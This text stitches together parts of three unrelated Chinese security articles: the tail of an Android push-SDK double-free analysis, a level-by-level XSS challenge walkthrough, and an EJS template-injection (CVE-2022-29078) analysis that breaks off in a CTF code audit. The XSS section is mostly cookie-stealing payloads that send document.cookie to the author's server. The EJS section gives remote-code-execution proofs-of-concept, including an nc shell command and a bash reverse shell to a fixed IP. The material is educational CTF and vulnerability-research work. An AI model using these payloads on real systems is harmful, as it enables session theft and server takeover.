I/xguardian(19448): scanAppStatus node:510, pkg:com.ilegendsoft.mercury, accid:995063, status:1
I/xguardian(19448): scanAppStatus node:511, pkg:fq.router2, accid:619048, status:1
I/xguardian(19448): xg app list size total:512, xgAppsCacheCount:512, xgAppsCacheActivityStatusCount:512
I/xguardian(19448): countTimeout=0, wait_time=310000, nfds=1, xgAppsCacheCount=512
I/xguardian(19448): server accept client 2, 127.0.0.1
I/xguardian(19448): countTimeout=0, wait_time=310000, nfds=1, xgAppsCacheCount=512
I/xguardian(19448): server decrpty receive from client: 42 : xgapplist:easyre.sjl.gossip.easyre,512970;
I/xguardian(19448): server get unstall appinfo:easyre.sjl.gossip.easyre,512970;
E/xguardian(19448): error accessid:512970
I/xguardian(19448): found 0, pkgName:easyre.sjl.gossip.easyre,accid:512970
I/xguardian(19448): try to add to the unstall list
E/testXG (10149): [+] response: -1
F/libc (19448): invalid address or address of corrupt block 0x401120c8 passed to dlfree
F/libc (19448): Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 19448 (xg_watchdog)
I/DEBUG ( 242): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 242): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG ( 242): Revision: '11'
I/DEBUG ( 242): pid: 19448, tid: 19448, name: xg_watchdog >>> /data/data/com.qufenqi.android.quwallet/lib/libxguardian.so <<<
I/DEBUG ( 242): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad
I/DEBUG ( 242): AM write failure (32 / Broken pipe)
I/DEBUG ( 242): Abort message: 'invalid address or address of corrupt block 0x401120c8 passed to dlfree'
I/DEBUG ( 242): r0 00000000 r1 400b5c5e r2 deadbaad r3 400b97a0
I/DEBUG ( 242): r4 401120c8 r5 400c4180 r6 4010e000 r7 401120d0
I/DEBUG ( 242): r8 40047221 r9 00000000 sl 00000000 fp bec758dc
I/DEBUG ( 242): ip 00000001 sp bec6f6f8 lr 400876cb pc 400876cc cpsr 600f0030
I/DEBUG ( 242): d0 2064657373617064 d1 6f2073736572646c
I/DEBUG ( 242): d2 707572726f632066 d3 206b636f6c622072
I/DEBUG ( 242): d4 0000000000000000 d5 0000000000000000
I/DEBUG ( 242): d6 0000000000000000 d7 0000000000000000
I/DEBUG ( 242): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 242): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 242): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 242): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 242): d16 41c9ef5dd3bd0e56 d17 3f50624dd2f1a9fc
I/DEBUG ( 242): d18 41ba01d435000000 d19 0000000000000000
I/DEBUG ( 242): d20 0000000000000000 d21 0000000000000000
I/DEBUG ( 242): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 242): d24 0000000000000000 d25 0000000000000000
I/DEBUG ( 242): d26 0000000000000000 d27 0000000000000000
I/DEBUG ( 242): d28 0000000000000000 d29 0000000000000000
I/DEBUG ( 242): d30 0000000000000000 d31 0000000000000000
I/DEBUG ( 242): scr 00000010
I/DEBUG ( 242):
I/DEBUG ( 242): backtrace:
I/DEBUG ( 242): #00 pc 000116cc /system/lib/libc.so (dlfree+1191)
I/DEBUG ( 242): #01 pc 0000dc0b /system/lib/libc.so (free+10)
I/DEBUG ( 242): #02 pc 000026e7 /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG ( 242): #03 pc 00002ff7 /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG ( 242): #04 pc 000013b1 /data/app-lib/com.qufenqi.android.quwallet-2/libxguardian.so
I/DEBUG ( 242): #05 pc 0000e34b /system/lib/libc.so (__libc_init+50)
I/DEBUG ( 242): #06 pc 000014fc /data/app-lib/com.qufenqi.android.quwallet-2/libxguar
当然，这个double
free漏洞无法利用，因为堆中的内容只能为手机上安装的packagename，所以尽管克服重重困难破解了加密算法、安装了512个packagename，仍然只是一个local
DoS。TSRC在最先评级认为是代码执行，后面也更正为了local DoS。
最后，总结下漏洞的成因，XG SDK以检查/data/data//lib的存在，来判断是否为使用XG
sdk的app，这种方式不够严谨。依然有可能被恶意app利用来保活（ 因为XG
sdk后续要启动app的服务），占用系统资源或者妨碍正常使用推送服务的app。
* * * | 社区文章 |
## 狗子的XSS学习之旅
### 0X00 前言
以前听歌，听的是旋律
后来听歌，听的是歌词
再后来听歌，听的是故事
现在听歌，听的是自己
初闻不知曲中意，再听已是曲中人
我们都已经芳华已逝，谁的成长没有过难忘的回忆
最近很惆怅啊,弄们晓得吧,你说你喜欢辣条,我说以后你就叫我辣条吧.
### 0X01 Begin
在谷歌爸爸搜了一些xss的change,遇到一个难度一般的,获得flag的方式是带上他的
请求你的vps,flag在日志里面.
如图:
本来是想用python直接接受参数的,这样更方便一点.
比如这样:
但是Flask部署在服务器要注意个问题,要加这个`xss.run(host="0.0.0.0")`
不然无法外网访问,官方文档说的.
xssflag.py:
#/usr/bin/env python
# _*_ coding:utf-8 _*_
# blog : evilwing.me
# __Author__ : wing
from flask import Flask, request
xss = Flask(__name__)
@xss.route('/')
def index():
flag = request.args
for i,j in flag.items():
print('Flag is:' + j)
return str()
if __name__ == "__main__":
xss.run(host="0.0.0.0")
### 0x03 Medium
[戳我开始xss change](https://knock.xss.moe/index)
规则如开头所说..
So, in this stage, you just make the url like below and submit.
http://8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?location=%22http://example.com/?%22%2Bdocument.cookie
For tutorial, please replace example.com to your site and submit the URL from URL form.The victim browser will access your url, and when your XSS payload successfully runs on the browser, the browser sends you the FLAG.
#### xss1
VPS:
#### xss2
<http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/>
用常规的`urlencode`绕过
到这里提交
刚刚提交的时候忘记加上?,造成没解析
#### xss3
2-3关是一样的绕过方法
#### xss4
一开始是这样:
so,把a标签闭合掉就ok.
q=a%27></a><script>alert(3);</script>//
拿cookie:
http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q=a%27></a><script>location.href='http://xxoo:5000/?'%20%2B%20document.cookie</script>
#### xss5
闭合textarea
http://fea7c73bbe92f7880fc15514e076e838d2ce8a90.knock.xss.moe/?q=</textarea><script>location.href='http://wing:5000/?'%20%2B%20document.cookie</script>
#### xss6
和上面的一样
不多说了
#### xss7
是input标签，还是闭合！
尖括号被转义了
还有`/`
这里我用了`autofocus`
q=1" autofocus onfocus=alert(1);//
autofocus 属性规定在页面加载时，域自动地获得焦点。
http://8005f6694d2862438bad3715436522e27dbd81a4.knock.xss.moe/?q=%22%20 autofocus onfocus=%22location.href=%27http://evilwing.me:5000/?%27%20%2B%20document.cookie
#### xss8
喵的，被转义了。
试试js的伪协议
刚刚的自动对焦也可以，过滤了双引号。
+号被吃了，先url编码。
这里js伪协议没过去，还是用的autofocus
http://b65797d44372ecb2b2552e32f10ec75f1bddcca6.knock.xss.moe/?q=1%20%27%20autofocus%20onfocus=location.href=%27http://evilwing.me:5000/?%27%2Bdocument.cookie;//
#### xss9
把单引号过滤了，通过反引号绕过了
主要是value并没有加单引号，就是故意的吧。
payload：
http://e461f5f6c542ae79ccc144093c63d0b074e591cd.knock.xss.moe/?q=``%20autofocus%20onfocus=location.href=`http://evilwing.me:5000/?`%2Bdocument.cookie
#### xss10
是一个frame，闭合绕过即可
payload：
http://811fbf0db9c40565743a37c2978f812b82eb89a6.knock.xss.moe/?q=javascript:location.href=`http://evilwing.me:5000/?=`%2Bdocument.cookie
+要先编码成%2B，否则会被吃掉
#### xss11
同10
#### xss12
不知道是不是我的问题，location.href不行，换成windows.open()即可
http://a4f51941335441be0fdb21c2890ec17b1d0f08f0.knock.xss.moe/?q=javascript:window.open(`http://evilwing.me:5000/?`%2Bdocument.cookie)
#### xss13
img标签被过滤了。试试其他标签。
svg绕过了，黑名单机制。
还有就是过滤了document.cookie
用fromCharCode方法绕过
ps：`fromCharCode()` 可接受一个指定的 Unicode 值，然后返回一个字符串。
有火狐的hackbar自带。
在线工具在[这儿](http://jdstiles.com/java/cct.html)
弹窗也弹了，就是访问的时候没带上cookie。。。
狗子我惆怅了....
然后我索性直接把整段转换为ascii
最终payload:
http://f302e1c6d200282cf7eb6cac126412b2a2f8aea7.knock.xss.moe/?q=11<svg/onload="eval(String.fromCharCode(106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 58, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 96, 104, 116, 116, 112, 58, 47, 47, 49, 48, 54, 46, 49, 52, 46, 49, 46, 50, 48, 57, 58, 53, 48, 48, 48, 47, 63, 96, 32, 43, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101))">
#### xss14
有CSP
>
> CSP指的是内容安全策略，为了缓解很大一部分潜在的跨站脚本问题，浏览器的扩展程序系统引入了内容安全策略（CSP）的一般概念。这将引入一些相当严格的策略，会使扩展程序在默认情况下更加安全，开发者可以创建并强制应用一些规则，管理网站允许加载的内容。
Content-Security-Policy: script-src 'self' 'sha256-6FYe68L0Glf1hGqIn0L6jIYjc+MFEOCqK/DbJ7gxWnk='; frame-src http://*.knock.xss.moe https://*.knock.xss.moe
由他的csp看，可以通过引入第一个关卡的xss，设置好domain，然后通过第一关访问xss14的cookie。
测试payload：
`http://3cb34c8407410e2d6c1d708b786ce69a0192b470.knock.xss.moe/?q=//8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?document.domain=%22knock.xss.moe%22;window.open(`<http://evilwing.me`)`>
看能否访问我的blog
OK
最终payload:
http://3cb34c8407410e2d6c1d708b786ce69a0192b470.knock.xss.moe/?q=//8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?document.domain=%22knock.xss.moe%22;eval(String.fromCharCode(119,%20105,%20110,%20100,%20111,%20119,%2046,%20111,%20112,%20101,%20110,%2040,%2034,%20104,%20116,%20116,%20112,%2058,%2047,%2047,%2049,%2048,%2054,%2046,%2049,%2052,%2046,%2049,%2046,%2050,%2048,%2057,%2058,%2053,%2048,%2048,%2048,%2047,%2063,%2034,%2043,%20112,%2097,%20114,%20101,%20110,%20116,%2046,%20100,%20111,%2099,%20117,%20109,%20101,%20110,%20116,%2046,%2099,%20111,%20111,%20107,%20105,%20101,%2041))
#### xss15
这个简单点了，QAQ，:O
payload:
http://e3bcee011cad77ba066ca7c2ad2884372aec9566.knock.xss.moe/?q=%3Cimg%20src=1%20onerror=window.location.href=%22http://evilwing.me:5000/?%22%2Bdocument.cookie%3E//
#### xss16
先获得value，然后调用window.open
payload:
http://86620d66a1b474c588ef787b711b0f1d8843a1af.knock.xss.moe/?q=javascript:location.href=`http://evilwing.me:5000/?`%2Bdocument.cookie
#### xss17
和16一样的套路
#### xss18
给我加了一个`\`
bypass
http://c6a860d0948320766d5c4d8dc3bbdcdf9dd95884.knock.xss.moe/?q=\%27);window.open(`http://evilwing.me`%2Bdocument.cookie)//
把后面的注释掉，多用反引号。
#### xss19
这个alert在body里面，alert后面的函数执行不了，问了下xsser们，可以设置一个回调函数。
bypass
http://224d0c5677307d743ba90c8f81e42f5be648cd97.knock.xss.moe/?q=%27,0,window.open(`http://evilwing.me:5000/?`%2Bdocument.cookie));//
#### xss20
看样子把script直接干掉了，双写试试
ok！
payload
http://303f34eb0a974a432254a4cb2d6e07fa6f8b0b7f.knock.xss.moe/?q=%3Cscriscriptpt%3Ejavascscriptript:location.href=`http://evilwing.me:5000/?`%2bdocument.cookie%3C/scriscriptpt%3E
有时候回显有点慢 :D
#### xss21
查看响应头：
X-XSS-Protection: 1; mode=block
该响应头会开启浏览器的防XSS 过滤器。
这题和上一个一样，过滤script，顺便借力打力。
大小写突破，然后把script加进去
最后的payload：
http://49ab9ff165cd76ffe06af0b72f450c82f35db396.knock.xss.moe/?q=%3CScript%3EjavaScriscriptpt:locascripttion.href=`http://evilwing.me/?`%2Bdocument.cookie%3C/sCript%3E
#### xss22
发现payload长度有限制
我想到的是短网址
这些短网址有毛病啊。我自己没域名。。。。
就算符合了他的长度，也没执行成功，折腾了我好几个小时啊。
最后我想在自己的vps上面搭建一个页面，让他访问。
一开始的代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body >
<img src='#' onerror=window.open('http://evilwing.me:5000/?'%2Bdocument.cookie) />;
</body>
</html>
但是我没收到cookie，后面知道这不符合同源策略，这样的话收到的是我自己的vps的cookie，而我的html是静态页面，所以cookie为空。
最后的代码：
<script>
windo.name = "location.href='http://evilwing.me:5000/?'+document.cookie";
location.href = "http://bcd699e871d46c191f3c43a7197c18440b308507.knock.xss.moe/?q=%3Csvg/onload=eval(name)%3E";
</script>
payload:
http://bcd699e871d46c191f3c43a7197c18440b308507.knock.xss.moe/?q=%3Csvg/onload=window.open(`http://evilwing.me/aa.html`)%3E
#### xss23
和22一样的办法，注意长度限制
#### xss24
t.cn这个短网址崩了。
在尝试找短的
我的没备案。心态炸裂。
http://1498f071159fd60222c0e7e82b7b6ff046e9e52e.knock.xss.moe/?q=%3Csvg/onload=window.open(`//kks.me/a7H4r`)%3E
:D
zz了我，把http:去掉啊
#### xss25
更短了
前面我把你们带翻车了
直接提交我们vps页面地址就行了
改一下地址，22-25这个方法是通杀的，尴尬！
#### xss26
全给转成大写，想办法bypass
在看雪看到篇文章
[原创-常见xss绕过小总结](https://bbs.pediy.com/thread-216147.htm)
尝试html实体编码
弹了，就要注意html编码之后再url编码一次，浏览器会把#当做注释
payload:
http://89078a2f1f0b7d9f210b1876f4b20ada0a090ebb.knock.xss.moe/?q=%3Cimg%20src=1%20%20onerror=%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%32%65%3b%26%23%78%36%38%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%36%3b%26%23%78%33%64%3b%26%23%78%32%32%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78%32%66%3b%26%23%78%33%31%3b%26%23%78%33%30%3b%26%23%78%33%36%3b%26%23%78%32%65%3b%26%23%78%33%31%3b%26%23%78%33%34%3b%26%23%78%32%65%3b%26%23%78%33%31%3b%26%23%78%32%65%3b%26%23%78%33%32%3b%26%23%78%33%30%3b%26%23%78%33%39%3b%26%23%78%33%61%3b%26%23%78%33%35%3b%26%23%78%33%30%3b%26%23%78%33%30%3b%26%23%78%33%30%3b%26%23%78%32%66%3b%26%23%78%33%66%3b%26%23%78%32%32%3b%26%23%78%32%62%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%66%3b%26%23%78%36%62%3b%26%23%78%36%39%3b%26%23%78%36%35%3b>
#### xss27
把.过滤了
用数组形式bypass
那我们的ip怎么办？
用ip2long
payload:
http://295a1d900c5bf618101abf69083622d0f69aded1.knock.xss.moe/?q=<img src=1 onerror=window['open']('http://1779302865:5000?'%2Bdocument['cookie'])>
#### xss28
比上一关多过滤引号，用前面常用的反引号
再次提醒+号，浏览器会当成空格。所以要先url编码
http://02f6f47ddaa7b22137a74843f2c4f1ac915dda3b.knock.xss.moe/?q=%3Cimg%20src=1%20onerror=window[`open`](`http://1779302865:5000?`%2Bdocument[`cookie`])%3E
#### xss29
输出点在script
一样不允许.,',这次还有(),不过也不需要
payload
http://a4bf8393a4159b94aa4b84e9a134d5e6140f3c34.knock.xss.moe/?q=window[`location`]=`http://1779302865:5000/?`%2Bdocument[`cookie`]
#### xss30
同29
#### xss31
go
on test!
payload：
http://bb84607f02113a22396438c9a67e4c5abdfd6561.knock.xss.moe/?q=%3Csvg/onload=window[`open`](`http://1779302865:5000/?`%2Bdocument[`cookie`])
#### xss32-34
同31，不科学啊。。。。
### 0x04 总结
前前后后花了两天时间吧，但是这说实话适合我萌新入门，还是有一些好玩的姿势的。难度算一般吧
wing
[evilwing.me](http://evilwing.me) | 社区文章 |
## Ejs简介：
EJS是一个javascript模板库，用来从json数据中生成HTML字符串
* 功能：缓存功能，能够缓存好的HTML模板；
* <% code %>用来执行javascript代码
* 安装：
$ npm install ejs
## 基础用法：
### 标签：
所有使用 `<% %>` 括起来的内容都会被编译成 Javascript，可以在模版文件中像写js一样Coding
//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');
var fs = require('fs');
var data = fs.readFileSync('test.ejs');
var result = ejs.render(data.toString());
console.log(result);
//123
或
var ejs = require('ejs');
var result = ejs.render('<% var a = 123 %><%console.log(a); %>');
console.log(result);
//123
### 插值语句：
<%= 变量名 %>
if else 语句
<% if(条件){ %>
html代码
<% } %>
实例：
<body>
<% if (state === 'danger') { %>
<p>危险区域, 请勿进入</p>
<% } else if (state === 'warning') { %>
<p>警告, 你即将进入危险区域</p>
<% } else { %>
<p>状态安全</p>
<% } %>
</body>
### 循环语句：
<% arr.foreach((item,index)=>{ %>
html代码
<% }) %>
实例：
<body>
<ul>
<% for(var i = 0; i < users.length; i++) { %>
<% var user = users[i]; %>
<li><%= user %></li>
<% } %>
</ul>
</body>
### 渲染页面：
`ejs.compile(str,[option])`
编译字符串得到模板函数，参数如下
str：需要解析的字符串模板
option：配置选项
var template = ejs.compile('<%=123 %>');
var result = template();
console.log(result);
//123
`ejs.render(str,data,[option])`
直接渲染字符串并生成html，参数如下
str：需要解析的字符串模板
data：数据
option：配置选项
var result = ejs.render('<%=123 %>');
console.log(result);
//123
### 变量：
用`<%=...%>`输出变量，变量若包含 `'<' '>' '&'`等字符会被转义
var ejs = require('ejs');
var result = ejs.render('<%=a%>',{a:'<div>123</div>'});
console.log(result);
//<div>123</div>
如果不希望变量值的内容被转义，那就这么用`<%-... %>`输出变量
var ejs = require('ejs');
var result = ejs.render('<%-a%>',{a:'<div>123</div>'});
console.log(result);
//<div>123</div>
### 注释:
用`<%# some comments %>`来注释，不执行不输出
### 文件包含：
`include`可以引用绝对路径或相对路径的模板文件
//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');var result = ejs.render('<% include test.ejs %>');
//throw new Error('`include` use relative path requires the \'filename\' option.');
console.log(result);
由上面的提示可知，使用相对路径时，必须设置`'filename'`选项
//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');var result = ejs.render('<% include test.ejs %>',{filename:'test.ejs'});
console.log(result);
//123
## CVE-2022-29078：
### SSTI分析方式：
NodeJS 的 EJS（嵌入式 JavaScript 模板）版本 3.1.6 或更早版本中存在 SSTI（服务器端模板注入）漏洞。
该漏洞`settings[view options][outputFunctionName]`在EJS渲染成HTML时，用浅拷贝覆盖值，最后插入OS
Command导致RCE。
复现：
#### 环境搭建：
npm install ejs@3.1.6
npm install express
#### app.js:
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
res.render('index', req.query);
});
app.listen(PORT, ()=> {
console.log(`Server is running on ${PORT}`);
});
#### index.ejs:
<html>
<head>
<title>Lab CVE-2022-29078</title>
</head>
<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>
#### 漏洞代码：
如果先看`index.ejs`代码，可以看到req.query`是这样传递的。我们查看 Node_Modules 的 ejs/lib/ejs.js
文件，我们可以看到以下代码部分。
/**
* Render an EJS file at the given `path` and callback `cb(err, str)`.
*
* If you would like to include options but not data, you need to explicitly
* call this function with `data` being an empty object or `null`.
*
* @param {String} path path to the EJS file
* @param {Object} [data={}] template data
* @param {Options} [opts={}] compilation and rendering options
* @param {RenderFileCallback} cb callback
* @public
*/
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
opts.filename = filename;
}
else {
data = {};
}
return tryHandleCache(opts, data, cb);
};
如果你仔细看上面的代码，你会发现下面的代码部分是独一无二的。
...
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
...
`data=args.shift()`可以查看是否输入了该值`curl
"127.0.0.1:3000?test=AAAA"`，如果发送curl请求，通过debug试一下，`data`可以检查用户输入的参数`test`和值是否在里面输入。`AAAA`
然后我们继续往下面看：
...
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
...
因为这个位置data是test传入的内容，所以data我们间接可控，所以我们可以强行插入`setting['view options']`来设置
* `curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[A\]=BBBB"`
所以我们来跟进shallowCopy函数：
exports.shallowCopy = function (to, from) {
from = from || {};
for (var p in from) {
to[p] = from[p];
}
return to;
};
取出第二个输入自变量的元素，并将使用该元素的数组的值存储在具有与第一个自变量相同的元素的数组中，有点像merge函数。这里面的两个参数to就是opts，from就是我们能够控制的viewOpts，这让就将里面的A：BBBB给了opts
从图中可以看出，的值存储`to['A']`在
中。`BBBB`也就是说，用户可以操纵第一个参数。调用的变量在本文中`opts`作为第一个参数传递，`opts`稍后在以下函数中使用该变量。
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
...
从代码中可以看出，`opts`将`outputFunctionName`的元素值取出`prepended`并放入
中，对应的值后面作为连接其他值的代码执行。由于用户`opts`可以操纵 ，`outputFunctionName`所以值也可以被调制，并且可以通过 RCE
生成想要的值。
`curl
"127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;console.log('Hacked');x"`
所以我们最后的POC就是：
curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"
### 原型链污染分析方式：
我们来调试一下这个ejs来看一下利用方式：
#### Ejs.js：
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'Ic4_F1ame'
});
});
//设置http
var server = app.listen(8000, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
});
#### index.ejs：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
我们发现成功开启了计算机
#### 分析：
* 在res.render处下断点
* 进入到response.js，到1039行的app.render函数
app.render(view,opts,done)
* 继续跟进到application.js，到render函数，函数的最后一行tryRender
tryRender(view,renderOptions,done)
* 到同文件application.js中的tryRender函数，调用了`view.render(options, callback);`
function tryRender(view,renderOptions,done){
try{
view.render(options,callback);
}
catch(err){
callback(err)
}
}
* 跟进render函数，到view.js的render函数，这里调用this.engine。
跟进`this.engine(this.path, options, callback);`，从这里进入到了模板渲染引擎 `ejs.js` 中
return tryHandleCache(opt,data,cb);
跟进`tryHandleCache`，调用`handleCache`方法，传data参数
try{
result = handleCache(options)=(data);
}
跟进handleCache，调用渲染模板的compile方法
func = exports. compile(template,options);
跟进compile方法，调用`templ.compile()`，这个函数存在大量的渲染拼接，==其中会判断opts.outputFunctionName是否存在，这也是我们为什么要污染outputFunctionName属性的缘故==，判断成功会将`outputFunctionName`拼接到prepended中。
而prepended 在最后会被传递给 `this.source`并被带入函数执行
compile:function(){
……
if(!this.source){
this.generateSource();
prepended +=
' var __output = "";\n'+
' function __append(s) { if (s !== undefined && s !== null) __output +=s }\n';
if(opts.outputFunctionName){
prepended += ' var ' + opts.outputFunctionName + ' =__append;' + '\n';
}
}
}
常用ejs模板引擎RCE的POC：
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}
## 实战：
### [GKCTF 2021]easynode：
顺便练一下JavaScript代码审计：
题目给出了源码，开局让我们先进行登录，所以我们首先要进行的就是如何使用admin进行登录的操作：
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
app.listen(1337, () => {
console.log(`App listening at port 1337`)
})
我们思路首先看到路由方向：因为我们要进行登录，所以看到/login路由的地方：
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
这个代码我们可以看到把username和password值取为post传的值，然后放在safeQuery里面进行处理，所以我们跟进safeQuery函数：
let safeQuery = async (username,password)=>{
